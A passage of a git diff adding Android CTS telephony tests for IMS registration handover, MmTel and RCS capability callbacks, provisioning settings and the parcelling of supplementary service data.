+        verifyRegistrationState(regManager, RegistrationManager.REGISTRATION_STATE_REGISTERING);
+        verifyRegistrationTransportType(regManager, AccessNetworkConstants.TRANSPORT_TYPE_WWAN);
+
+        // Complete registration
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
+        verifyRegistrationState(regManager, RegistrationManager.REGISTRATION_STATE_REGISTERED);
+        verifyRegistrationTransportType(regManager, AccessNetworkConstants.TRANSPORT_TYPE_WWAN);
+
+
+        // Fail handover to IWLAN
+        sServiceConnector.getCarrierService().getImsRegistration().onTechnologyChangeFailed(
+                ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN,
+                new ImsReasonInfo(ImsReasonInfo.CODE_LOCAL_HO_NOT_FEASIBLE,
+                        ImsReasonInfo.CODE_UNSPECIFIED, ""));
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, waitForIntResult(mQueue));
+        assertEquals(ImsReasonInfo.CODE_LOCAL_HO_NOT_FEASIBLE, waitForIntResult(mQueue));
+        verifyRegistrationTransportType(regManager, AccessNetworkConstants.TRANSPORT_TYPE_WWAN);
+
+        // handover to IWLAN
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+                ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN);
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, waitForIntResult(mQueue));
+        verifyRegistrationTransportType(regManager, AccessNetworkConstants.TRANSPORT_TYPE_WLAN);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mmTelManager,
+                (m) -> m.unregisterImsRegistrationCallback(callback));
+    }
+
+    @Test
+    public void testCapabilityStatusCallback() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        ImsMmTelManager mmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+
+        triggerFrameworkConnectToCarrierImsService();
+
+        // Wait for the framework to set the capabilities on the ImsService
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_MMTEL_CAP_SET);
+        MmTelFeature.MmTelCapabilities fwCaps = sServiceConnector.getCarrierService()
+                .getMmTelFeature().getCapabilities();
+        // Make sure we start off with every capability unavailable
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+        sServiceConnector.getCarrierService().getMmTelFeature()
+                .notifyCapabilitiesStatusChanged(new MmTelFeature.MmTelCapabilities());
+
+        // Make sure the capabilities match the API getter for capabilities
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        // Latch will count down here (we callback on the state during registration).
+        try {
+            automan.adoptShellPermissionIdentity();
+            // Make sure we are tracking voice capability over LTE properly.
+            assertEquals(fwCaps.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE),
+                    mmTelManager.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+                            ImsRegistrationImplBase.REGISTRATION_TECH_LTE));
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // This is a little bit gross looking, but on P devices, I can not define classes that
+        // extend ImsMmTelManager.CapabilityCallback (because it doesn't exist), so this has to
+        // happen as an anon class here.
+        LinkedBlockingQueue<MmTelFeature.MmTelCapabilities> mQueue = new LinkedBlockingQueue<>();
+        ImsMmTelManager.CapabilityCallback callback = new ImsMmTelManager.CapabilityCallback() {
+
+            @Override
+            public void onCapabilitiesStatusChanged(MmTelFeature.MmTelCapabilities capabilities) {
+                mQueue.offer(capabilities);
+            }
+        };
+
+        // Latch will count down here (we callback on the state during registration).
+        try {
+            automan.adoptShellPermissionIdentity();
+            mmTelManager.registerMmTelCapabilityCallback(getContext().getMainExecutor(), callback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // We should not have voice availability here, we notified the framework earlier.
+        MmTelFeature.MmTelCapabilities capCb = waitForResult(mQueue);
+        assertNotNull(capCb);
+        assertFalse(capCb.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE));
+
+        // Now enable voice availability
+        sServiceConnector.getCarrierService().getMmTelFeature()
+                .notifyCapabilitiesStatusChanged(new MmTelFeature.MmTelCapabilities(
+                        MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE));
+        capCb = waitForResult(mQueue);
+        assertNotNull(capCb);
+        assertTrue(capCb.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE));
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            assertTrue(ImsUtils.retryUntilTrue(() -> mmTelManager.isAvailable(
+                    MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+                    ImsRegistrationImplBase.REGISTRATION_TECH_LTE)));
+
+            mmTelManager.unregisterMmTelCapabilityCallback(callback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
+    public void testRcsCapabilityStatusCallback() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        if (imsManager == null) {
+            fail("Cannot find IMS service");
+        }
+
+        // Connect to device ImsService with RcsFeature
+        triggerFrameworkConnectToDeviceImsServiceBindRcsFeature();
+
+        int registrationTech = ImsRegistrationImplBase.REGISTRATION_TECH_LTE;
+        ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(sTestSub);
+
+        ITestExternalImsService testImsService = sServiceConnector.getExternalService();
+        // Wait for the framework to set the capabilities on the ImsService
+        testImsService.waitForLatchCountdown(TestImsService.LATCH_RCS_CAP_SET);
+        // Make sure we start off with none-capability
+        testImsService.updateImsRegistration(ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+        testImsService.notifyRcsCapabilitiesStatusChanged(RCS_CAP_NONE);
+
+        // Make sure the capabilities match the API getter for capabilities
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        // Latch will count down here (we callback on the state during registration).
+        try {
+            automan.adoptShellPermissionIdentity();
+            // Make sure we are tracking voice capability over LTE properly.
+            assertEquals(testImsService.isRcsAvailable(RCS_CAP_PRESENCE),
+                    imsRcsManager.isAvailable(RCS_CAP_PRESENCE));
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Trigger carrier config changed
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
+        overrideCarrierConfig(bundle);
+
+        // The carrier config changed should trigger RcsFeature#changeEnabledCapabilities
+        try {
+            automan.adoptShellPermissionIdentity();
+            // Checked by isCapable api to make sure RcsFeature#changeEnabledCapabilities is called
+            assertTrue(ImsUtils.retryUntilTrue(() ->
+                    imsRcsManager.isCapable(RCS_CAP_OPTIONS, registrationTech)));
+            assertTrue(ImsUtils.retryUntilTrue(() ->
+                    imsRcsManager.isCapable(RCS_CAP_PRESENCE, registrationTech)));
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // A queue to receive capability changed
+        LinkedBlockingQueue<RcsImsCapabilities> mQueue = new LinkedBlockingQueue<>();
+        ImsRcsManager.AvailabilityCallback callback = new ImsRcsManager.AvailabilityCallback() {
+            @Override
+            public void onAvailabilityChanged(RcsImsCapabilities capabilities) {
+                mQueue.offer(capabilities);
+            }
+        };
+
+        // Latch will count down here (we callback on the state during registration).
+        try {
+            automan.adoptShellPermissionIdentity();
+            imsRcsManager.registerRcsAvailabilityCallback(getContext().getMainExecutor(), callback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // We should not have any availabilities here, we notified the framework earlier.
+        RcsImsCapabilities capCb = waitForResult(mQueue);
+
+        // The SIP OPTIONS capability from onAvailabilityChanged should be disabled.
+        // Moreover, ImsRcsManager#isAvailable also return FALSE with SIP OPTIONS
+        assertTrue(capCb.isCapable(RCS_CAP_NONE));
+        try {
+            automan.adoptShellPermissionIdentity();
+            assertFalse(imsRcsManager.isAvailable(RCS_CAP_OPTIONS));
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Notify the SIP OPTIONS capability status changed
+        testImsService.notifyRcsCapabilitiesStatusChanged(RCS_CAP_OPTIONS);
+        capCb = waitForResult(mQueue);
+
+        // The SIP OPTIONS capability from onAvailabilityChanged should be enabled.
+        // Verify ImsRcsManager#isAvailable also return true with SIP OPTIONS
+        assertTrue(capCb.isCapable(RCS_CAP_OPTIONS));
+        try {
+            automan.adoptShellPermissionIdentity();
+            assertTrue(imsRcsManager.isAvailable(RCS_CAP_OPTIONS));
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        overrideCarrierConfig(null);
+    }
+
+    @Test
+    public void testProvisioningManagerSetConfig() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        triggerFrameworkConnectToCarrierImsService();
+
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+
+        // This is a little bit gross looking, but on P devices, I can not define classes that
+        // extend ProvisioningManager.Callback (because it doesn't exist), so this has to
+        // happen as an anon class here.
+        LinkedBlockingQueue<Pair<Integer, Integer>> mIntQueue = new LinkedBlockingQueue<>();
+        LinkedBlockingQueue<Pair<Integer, String>> mStringQueue = new LinkedBlockingQueue<>();
+        ProvisioningManager.Callback callback = new ProvisioningManager.Callback() {
+            @Override
+            public void onProvisioningIntChanged(int item, int value) {
+                mIntQueue.offer(new Pair<>(item, value));
+            }
+
+            @Override
+            public void onProvisioningStringChanged(int item, String value) {
+                mStringQueue.offer(new Pair<>(item, value));
+            }
+        };
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.registerProvisioningChangedCallback(getContext().getMainExecutor(),
+                    callback);
+
+            provisioningManager.setProvisioningIntValue(TEST_CONFIG_KEY, TEST_CONFIG_VALUE_INT);
+            assertTrue(waitForParam(mIntQueue, new Pair<>(TEST_CONFIG_KEY, TEST_CONFIG_VALUE_INT)));
+            assertEquals(TEST_CONFIG_VALUE_INT,
+                    provisioningManager.getProvisioningIntValue(TEST_CONFIG_KEY));
+
+            provisioningManager.setProvisioningStringValue(TEST_CONFIG_KEY,
+                    TEST_CONFIG_VALUE_STRING);
+            assertTrue(waitForParam(mStringQueue,
+                    new Pair<>(TEST_CONFIG_KEY, TEST_CONFIG_VALUE_STRING)));
+            assertEquals(TEST_CONFIG_VALUE_STRING,
+                    provisioningManager.getProvisioningStringValue(TEST_CONFIG_KEY));
+
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.unregisterProvisioningChangedCallback(callback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
+    public void testProvisioningManagerProvisioningCaps() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        triggerFrameworkConnectToCarrierImsService();
+
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_SUPPORTS_SS_OVER_UT_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_UT_PROVISIONING_REQUIRED_BOOL, true);
+        overrideCarrierConfig(bundle);
+
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            boolean provisioningStatus = provisioningManager.getProvisioningStatusForCapability(
+                    MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_UT,
+                    ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+            provisioningManager.setProvisioningStatusForCapability(
+                    MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_UT,
+                    ImsRegistrationImplBase.REGISTRATION_TECH_LTE, !provisioningStatus);
+            // Make sure the change in provisioning status is correctly returned.
+            assertEquals(!provisioningStatus,
+                    provisioningManager.getProvisioningStatusForCapability(
+                            MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_UT,
+                            ImsRegistrationImplBase.REGISTRATION_TECH_LTE));
+            // TODO: Enhance test to make sure the provisioning change is also sent to the
+            // ImsService
+
+            // set back to current status
+            provisioningManager.setProvisioningStatusForCapability(
+                    MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_UT,
+                    ImsRegistrationImplBase.REGISTRATION_TECH_LTE, provisioningStatus);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        overrideCarrierConfig(null);
+    }
+
+    private void setupImsServiceForSms() throws Exception {
+        MmTelFeature.MmTelCapabilities capabilities = new MmTelFeature.MmTelCapabilities(
+                MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_SMS);
+        // Set up MMTEL
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                .build()));
+        // Wait until MMTEL is created and onFeatureReady is called
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_MMTEL));
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_MMTEL_READY));
+        // Wait until ImsSmsDispatcher connects and calls onReady.
+        assertTrue(sServiceConnector.getCarrierService().getMmTelFeature().getSmsImplementation()
+                .waitForOnReadyLatch());
+        // Set Registered and SMS capable
+        sServiceConnector.getCarrierService().getMmTelFeature().setCapabilities(capabilities);
+        sServiceConnector.getCarrierService().getImsService().getRegistration(0).onRegistered(1);
+        sServiceConnector.getCarrierService().getMmTelFeature()
+                .notifyCapabilitiesStatusChanged(capabilities);
+
+        // Wait a second for the notifyCapabilitiesStatusChanged indication to be processed on the
+        // main telephony thread - currently no better way of knowing that telephony has processed
+        // this command. SmsManager#isImsSmsSupported() is @hide and must be updated to use new API.
+        Thread.sleep(1000);
+    }
+
+    private void triggerFrameworkConnectToCarrierImsService() throws Exception {
+        // Connect to the ImsService with the MmTel feature.
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                .build()));
+        // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_MMTEL);
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_MMTEL_READY));
+        assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
+                sServiceConnector.getCarrierService().getMmTelFeature());
+    }
+
+    private void triggerFrameworkConnectToDeviceImsServiceBindRcsFeature() throws Exception {
+        // Connect to the ImsService with the RCS feature.
+        assertTrue(sServiceConnector.connectDeviceImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build()));
+        // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        sServiceConnector.getExternalService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_RCS);
+        // Make sure the RcsFeature was created in the test service.
+        assertTrue("Device ImsService created, but TestDeviceImsService#createRcsFeature was not"
+                + "called!", sServiceConnector.getExternalService().isRcsFeatureCreated());
+    }
+
+    private void verifyRegistrationState(RegistrationManager regManager, int expectedState)
+            throws Exception {
+        LinkedBlockingQueue<Integer> mQueue = new LinkedBlockingQueue<>();
+        assertTrue(ImsUtils.retryUntilTrue(() -> {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(regManager,
+                    (m) -> m.getRegistrationState(getContext().getMainExecutor(), mQueue::offer));
+            return waitForIntResult(mQueue) == expectedState;
+        }));
+    }
+
+    private void verifyRegistrationTransportType(RegistrationManager regManager,
+            int expectedTransportType) throws Exception {
+        LinkedBlockingQueue<Integer> mQueue = new LinkedBlockingQueue<>();
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(regManager,
+                (m) -> m.getRegistrationTransportType(getContext().getMainExecutor(),
+                        mQueue::offer));
+        assertEquals(expectedTransportType, waitForIntResult(mQueue));
+    }
+
+    private <T> boolean waitForParam(LinkedBlockingQueue<T> queue, T waitParam) throws Exception {
+        T result;
+        while ((result = waitForResult(queue)) != null) {
+            if (waitParam.equals(result)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private <T> T waitForResult(LinkedBlockingQueue<T> queue) throws Exception {
+        return queue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+    }
+
+    private int waitForIntResult(LinkedBlockingQueue<Integer> queue) throws Exception {
+        Integer result = queue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        return result != null ? result : Integer.MAX_VALUE;
+    }
+
+    private static void overrideCarrierConfig(PersistableBundle bundle) throws Exception {
+        CarrierConfigManager carrierConfigManager = InstrumentationRegistry.getInstrumentation()
+                .getContext().getSystemService(CarrierConfigManager.class);
+        sReceiver.clearQueue();
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(carrierConfigManager,
+                (m) -> m.overrideConfig(sTestSub, bundle));
+        sReceiver.waitForCarrierConfigChanged();
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
+    // Copied from com.android.internal.util.HexDump
+    private static byte[] hexStringToByteArray(String hexString) {
+        int length = hexString.length();
+        byte[] buffer = new byte[length / 2];
+
+        for (int i = 0; i < length; i += 2) {
+            buffer[i / 2] =
+                    (byte) ((toByte(hexString.charAt(i)) << 4) | toByte(hexString.charAt(i + 1)));
+        }
+
+        return buffer;
+    }
+
+    // Copied from com.android.internal.util.HexDump
+    private static int toByte(char c) {
+        if (c >= '0' && c <= '9') return (c - '0');
+        if (c >= 'A' && c <= 'F') return (c - 'A' + 10);
+        if (c >= 'a' && c <= 'f') return (c - 'a' + 10);
+
+        throw new RuntimeException("Invalid hex char '" + c + "'");
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSsDataTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSsDataTest.java
new file mode 100644
index 0000000..6966f1c
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSsDataTest.java
@@ -0,0 +1,319 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.TestCase.assertEquals;
+import static junit.framework.TestCase.assertFalse;
+
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.telephony.ims.ImsCallForwardInfo;
+import android.telephony.ims.ImsReasonInfo;
+import android.telephony.ims.ImsSsData;
+import android.telephony.ims.ImsSsInfo;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsSsDataTest {
+
+    @Test
+    public void testParcelUnparcel() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        int serviceType = ImsSsData.SS_CLIP;
+        int requestType = ImsSsData.SS_DEACTIVATION;
+        int teleserviceType = ImsSsData.SS_ALL_TELESEVICES;
+        int serviceClass = 1;
+        int result = 1;
+
+        ImsSsData data = new ImsSsData(serviceType, requestType, teleserviceType, serviceClass,
+                result);
+
+        Parcel parcel = Parcel.obtain();
+        data.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        ImsSsData unparceledData = ImsSsData.CREATOR.createFromParcel(parcel);
+        parcel.recycle();
+
+        assertTrue(unparceledData.isTypeClip());
+    }
+
+    @Test
+    public void testServiceTypeCF() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        int serviceType = ImsSsData.SS_CFU;
+        ImsSsData data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+                ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+
+        ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+
+        assertTrue(unparceledData.isTypeCf());
+        assertTrue(unparceledData.isTypeUnConditional());
+    }
+
+    @Test
+    public void testServiceTypeCW() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        int serviceType = ImsSsData.SS_WAIT;
+        ImsSsData data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+                ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+
+        ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+
+        assertTrue(unparceledData.isTypeCw());
+    }
+
+    @Test
+    public void testServiceTypeColr() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        int serviceType = ImsSsData.SS_COLR;
+        ImsSsData data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+                ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+
+        ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+
+        assertTrue(unparceledData.isTypeColr());
+    }
+
+    @Test
+    public void testServiceTypeColp() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        int serviceType = ImsSsData.SS_COLP;
+        ImsSsData data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+                ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+
+        ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+
+        assertTrue(unparceledData.isTypeColp());
+    }
+
+    @Test
+    public void testServiceTypeClir() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        int serviceType = ImsSsData.SS_CLIR;
+        ImsSsData data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+                ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+
+        ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+
+        assertTrue(unparceledData.isTypeClir());
+    }
+
+    @Test
+    public void testServiceTypeIcb() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        int serviceType = ImsSsData.SS_INCOMING_BARRING_DN;
+        ImsSsData data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+                ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+
+        ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+
+        assertTrue(unparceledData.isTypeIcb());
+    }
+
+    @Test
+    public void testServiceTypeIcbAnon() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        int serviceType = ImsSsData.SS_INCOMING_BARRING_ANONYMOUS;
+        ImsSsData data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+                ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+
+        ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+
+        assertTrue(unparceledData.isTypeIcb());
+    }
+
+    @Test
+    public void testServiceTypeBarring() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        int serviceType = ImsSsData.SS_BAOC;
+        ImsSsData data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+                ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+        ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+        assertTrue(unparceledData.isTypeBarring());
+
+        serviceType = ImsSsData.SS_BAOIC;
+        data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+                ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+        unparceledData = (ImsSsData) parcelUnparcel(data);
+        assertTrue(unparceledData.isTypeBarring());
+
+        serviceType = ImsSsData.SS_BAOIC_EXC_HOME;
+        data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+                ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+        unparceledData = (ImsSsData) parcelUnparcel(data);
+        assertTrue(unparceledData.isTypeBarring());
+
+        serviceType = ImsSsData.SS_BAIC;
+        data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+                ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+        unparceledData = (ImsSsData) parcelUnparcel(data);
+        assertTrue(unparceledData.isTypeBarring());
+
+        serviceType = ImsSsData.SS_BAIC_ROAMING;
+        data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+                ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+        unparceledData = (ImsSsData) parcelUnparcel(data);
+        assertTrue(unparceledData.isTypeBarring());
+
+        serviceType = ImsSsData.SS_ALL_BARRING;
+        data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+                ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+        unparceledData = (ImsSsData) parcelUnparcel(data);
+        assertTrue(unparceledData.isTypeBarring());
+
+        serviceType = ImsSsData.SS_OUTGOING_BARRING;
+        data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+                ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+        unparceledData = (ImsSsData) parcelUnparcel(data);
+        assertTrue(unparceledData.isTypeBarring());
+
+        serviceType = ImsSsData.SS_INCOMING_BARRING;
+        data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+                ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+        unparceledData = (ImsSsData) parcelUnparcel(data);
+        assertTrue(unparceledData.isTypeBarring());
+    }
+
+    @Test
+    public void testRequestTypeInterrogation() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsSsData data = new ImsSsData(ImsSsData.SS_CFU, ImsSsData.SS_INTERROGATION,
+                ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+
+        ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+        assertTrue(unparceledData.isTypeInterrogation());
+    }
+
+    @Test
+    public void testConstructor() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        ImsSsData data = new ImsSsData(ImsSsData.SS_CFU, ImsSsData.SS_INTERROGATION,
+                ImsSsData.SS_ALL_TELESEVICES, ImsSsData.SERVICE_CLASS_VOICE,
+                ImsReasonInfo.CODE_LOCAL_IMS_SERVICE_DOWN);
+
+        ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+        assertEquals(ImsSsData.SS_ALL_TELESEVICES, unparceledData.getTeleserviceType());
+        assertEquals(ImsReasonInfo.CODE_LOCAL_IMS_SERVICE_DOWN, unparceledData.getResult());
+        assertEquals(ImsSsData.SERVICE_CLASS_VOICE, unparceledData.getServiceClass());
+        assertEquals(ImsSsData.SS_INTERROGATION, unparceledData.getRequestType());
+        assertEquals(ImsSsData.SS_CFU, unparceledData.getServiceType());
+
+    }
+
+
+    @Test
+    public void testSetCallForwardingInfo() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        ImsCallForwardInfo info = new ImsCallForwardInfo(ImsCallForwardInfo.CDIV_CF_REASON_ALL,
+                ImsCallForwardInfo.STATUS_ACTIVE, ImsCallForwardInfo.TYPE_OF_ADDRESS_UNKNOWN,
+                ImsSsData.SERVICE_CLASS_NONE, "5551212", 0);
+        List<ImsCallForwardInfo> infos = new ArrayList<>();
+        infos.add(info);
+
+        ImsSsData.Builder dataBuilder = new ImsSsData.Builder(ImsSsData.SS_CFU,
+                ImsSsData.SS_INTERROGATION, ImsSsData.SS_ALL_TELESEVICES, 0, 60);
+        dataBuilder.setCallForwardingInfo(infos);
+
+        ImsSsData unparceledData = (ImsSsData) parcelUnparcel(dataBuilder.build());
+
+        assertFalse(unparceledData.getCallForwardInfo().isEmpty());
+        ImsCallForwardInfo testInfo = unparceledData.getCallForwardInfo().get(0);
+        assertEquals(info.getCondition(), testInfo.getCondition());
+        assertEquals(info.getStatus(), testInfo.getStatus());
+        assertEquals(info.getToA(), testInfo.getToA());
+        assertEquals(info.getServiceClass(), testInfo.getServiceClass());
+        assertEquals(info.getNumber(), testInfo.getNumber());
+        assertEquals(info.getTimeSeconds(), testInfo.getTimeSeconds());
+    }
+
+    @Test
+    public void testSetSuppServiceInfo() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        ImsSsInfo info = new ImsSsInfo.Builder(ImsSsInfo.ENABLED)
+                .setClirInterrogationStatus(ImsSsInfo.CLIR_STATUS_PROVISIONED_PERMANENT)
+                .setClirOutgoingState(ImsSsInfo.CLIR_OUTGOING_SUPPRESSION)
+                .setIncomingCommunicationBarringNumber("+16505551212")
+                .setProvisionStatus(ImsSsInfo.SERVICE_PROVISIONED).build();
+        List<ImsSsInfo> infos = new ArrayList<>();
+        infos.add(info);
+
+        ImsSsData.Builder dataBuilder = new ImsSsData.Builder(ImsSsData.SS_CLIR,
+                ImsSsData.SS_INTERROGATION, ImsSsData.SS_ALL_TELESEVICES, 0, 60);
+        dataBuilder.setSuppServiceInfo(infos);
+
+        ImsSsData unparceledData = (ImsSsData) parcelUnparcel(dataBuilder.build());
+
+        assertFalse(unparceledData.getSuppServiceInfo().isEmpty());
